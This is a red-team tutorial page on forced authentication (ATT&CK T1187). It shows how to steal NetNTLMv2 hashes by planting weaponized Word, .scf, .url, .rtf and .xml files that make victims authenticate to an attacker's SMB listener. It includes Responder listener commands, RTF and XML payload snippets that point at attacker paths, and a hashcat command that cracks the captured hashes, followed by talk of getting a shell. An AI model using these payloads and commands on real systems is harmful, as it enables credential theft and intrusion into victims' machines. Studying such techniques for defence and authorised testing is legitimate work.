T1187: Forced Authentication

Last updated 2 months ago

Credential Access, Stealing hashes

Execution via Hyperlink

Let's create a Word document that has a hyperlink to our attacking server where responder will be listening on port 445:

Let's start Responder on our kali box:

responder -I eth1

Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's NetNTLMv2 hash is captured:

The retrieved hash can then be cracked offline with hashcat:

hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP- /usr/share/wordlists/rockyou.txt --force

Success, the password is cracked:

Using the cracked passsword to get a shell on the victim system:

Execution via .SCF

Place the below fa.scf file on the attacker controlled machine at in a shared folder tools


A victim user low opens the share \\\tools and the fa.scf gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at where responder is listening:

victim opens \\\tools, fa.scf executes and gives away low's hashes
user's low hashes were received by the attacker

What's interesting with the .scf attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the Downloads folder, users's hash is stolen:

Execution via .URL

Create a weaponized .url file and upload it to the victim system:


Create a listener on the attacking system:

responder -I eth1 -v

Once the victim navigates to the C:\ where link.url file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on where NetNTLMv2 hash is captured:

Execution via .RTF

Weaponizing .rtf file, which will attempt to load an image from the attacking system:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://" \\* MERGEFORMAT\\d}}{\fldrslt}}}

Starting authentication listener on the attacking system:

responder -I eth1 -v

Executing the file.rtf on the victim system gives away user's hashes:

Execution via .XML

MS Word Documents can be saved as .xml:

This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\\bad.xsl" ?>

Below is the attack illustrated:

Execution via Field IncludePicture

Create a new Word document and insert a new field IncludePicture:

Save the file as .xml. Note that the sneaky image url is present in the XML:

Launching the document gives away victim's hashes immediately: